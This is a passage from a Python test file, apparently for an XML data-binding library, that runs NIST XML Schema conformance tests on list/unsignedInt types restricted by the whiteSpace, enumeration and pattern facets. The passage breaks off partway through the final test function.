def test_list_unsigned_int_white_space_nistxml_sv_iv_list_unsigned_int_white_space_1_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-whiteSpace-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-whiteSpace-1-1.xml",
class_name="NistschemaSvIvListUnsignedIntWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_white_space_nistxml_sv_iv_list_unsigned_int_white_space_1_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-whiteSpace-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-whiteSpace-1-2.xml",
class_name="NistschemaSvIvListUnsignedIntWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_white_space_nistxml_sv_iv_list_unsigned_int_white_space_1_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-whiteSpace-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-whiteSpace-1-3.xml",
class_name="NistschemaSvIvListUnsignedIntWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_white_space_nistxml_sv_iv_list_unsigned_int_white_space_1_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-whiteSpace-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-whiteSpace-1-4.xml",
class_name="NistschemaSvIvListUnsignedIntWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_white_space_nistxml_sv_iv_list_unsigned_int_white_space_1_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-whiteSpace-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-whiteSpace-1-5.xml",
class_name="NistschemaSvIvListUnsignedIntWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_4_nistxml_sv_iv_list_unsigned_int_enumeration_5_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-5-1.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_4_nistxml_sv_iv_list_unsigned_int_enumeration_5_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-5-2.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_4_nistxml_sv_iv_list_unsigned_int_enumeration_5_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-5-3.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_4_nistxml_sv_iv_list_unsigned_int_enumeration_5_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-5-4.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_4_nistxml_sv_iv_list_unsigned_int_enumeration_5_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-5-5.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_3_nistxml_sv_iv_list_unsigned_int_enumeration_4_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-4-1.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_3_nistxml_sv_iv_list_unsigned_int_enumeration_4_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-4-2.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_3_nistxml_sv_iv_list_unsigned_int_enumeration_4_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-4-3.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_3_nistxml_sv_iv_list_unsigned_int_enumeration_4_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-4-4.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_3_nistxml_sv_iv_list_unsigned_int_enumeration_4_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-4-5.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_2_nistxml_sv_iv_list_unsigned_int_enumeration_3_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-3-1.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_2_nistxml_sv_iv_list_unsigned_int_enumeration_3_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-3-2.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_2_nistxml_sv_iv_list_unsigned_int_enumeration_3_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-3-3.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_2_nistxml_sv_iv_list_unsigned_int_enumeration_3_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-3-4.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_2_nistxml_sv_iv_list_unsigned_int_enumeration_3_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-3-5.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_1_nistxml_sv_iv_list_unsigned_int_enumeration_2_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-2-1.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_1_nistxml_sv_iv_list_unsigned_int_enumeration_2_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-2-2.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_1_nistxml_sv_iv_list_unsigned_int_enumeration_2_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-2-3.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_1_nistxml_sv_iv_list_unsigned_int_enumeration_2_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-2-4.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_1_nistxml_sv_iv_list_unsigned_int_enumeration_2_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-2-5.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_nistxml_sv_iv_list_unsigned_int_enumeration_1_1(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-1-1.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_nistxml_sv_iv_list_unsigned_int_enumeration_1_2(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-1-2.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_nistxml_sv_iv_list_unsigned_int_enumeration_1_3(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-1-3.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_nistxml_sv_iv_list_unsigned_int_enumeration_1_4(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-1-4.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_enumeration_nistxml_sv_iv_list_unsigned_int_enumeration_1_5(mode, save_output, output_format):
"""
Type list/unsignedInt is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-enumeration-1.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-enumeration-1-5.xml",
class_name="NistschemaSvIvListUnsignedIntEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_4_nistxml_sv_iv_list_unsigned_int_pattern_5_1(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-5-1.xml",
class_name="NistschemaSvIvListUnsignedIntPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_4_nistxml_sv_iv_list_unsigned_int_pattern_5_2(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-5-2.xml",
class_name="NistschemaSvIvListUnsignedIntPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_4_nistxml_sv_iv_list_unsigned_int_pattern_5_3(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-5-3.xml",
class_name="NistschemaSvIvListUnsignedIntPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_4_nistxml_sv_iv_list_unsigned_int_pattern_5_4(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-5-4.xml",
class_name="NistschemaSvIvListUnsignedIntPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_4_nistxml_sv_iv_list_unsigned_int_pattern_5_5(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-5.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-5-5.xml",
class_name="NistschemaSvIvListUnsignedIntPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_3_nistxml_sv_iv_list_unsigned_int_pattern_4_1(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-4-1.xml",
class_name="NistschemaSvIvListUnsignedIntPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_3_nistxml_sv_iv_list_unsigned_int_pattern_4_2(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-4-2.xml",
class_name="NistschemaSvIvListUnsignedIntPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_3_nistxml_sv_iv_list_unsigned_int_pattern_4_3(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-4-3.xml",
class_name="NistschemaSvIvListUnsignedIntPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_3_nistxml_sv_iv_list_unsigned_int_pattern_4_4(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-4-4.xml",
class_name="NistschemaSvIvListUnsignedIntPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_3_nistxml_sv_iv_list_unsigned_int_pattern_4_5(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-4.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-4-5.xml",
class_name="NistschemaSvIvListUnsignedIntPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_2_nistxml_sv_iv_list_unsigned_int_pattern_3_1(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-3-1.xml",
class_name="NistschemaSvIvListUnsignedIntPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_2_nistxml_sv_iv_list_unsigned_int_pattern_3_2(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-3-2.xml",
class_name="NistschemaSvIvListUnsignedIntPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_2_nistxml_sv_iv_list_unsigned_int_pattern_3_3(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-3-3.xml",
class_name="NistschemaSvIvListUnsignedIntPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_2_nistxml_sv_iv_list_unsigned_int_pattern_3_4(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-3-4.xml",
class_name="NistschemaSvIvListUnsignedIntPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_2_nistxml_sv_iv_list_unsigned_int_pattern_3_5(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-3.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-3-5.xml",
class_name="NistschemaSvIvListUnsignedIntPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_1_nistxml_sv_iv_list_unsigned_int_pattern_2_1(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-2-1.xml",
class_name="NistschemaSvIvListUnsignedIntPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_1_nistxml_sv_iv_list_unsigned_int_pattern_2_2(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-2-2.xml",
class_name="NistschemaSvIvListUnsignedIntPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_1_nistxml_sv_iv_list_unsigned_int_pattern_2_3(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-2-3.xml",
class_name="NistschemaSvIvListUnsignedIntPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_1_nistxml_sv_iv_list_unsigned_int_pattern_2_4(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-2.xsd",
instance="nistData/list/unsignedInt/Schema+Instance/NISTXML-SV-IV-list-unsignedInt-pattern-2-4.xml",
class_name="NistschemaSvIvListUnsignedIntPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_int_pattern_1_nistxml_sv_iv_list_unsigned_int_pattern_2_5(mode, save_output, output_format):
r"""
Type list/unsignedInt is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{10}.
"""
assert_bindings(
schema="nistData/list/unsignedInt/Schema+Instance/NISTSchema-SV-IV-list-unsignedInt-pattern-2.xsd",
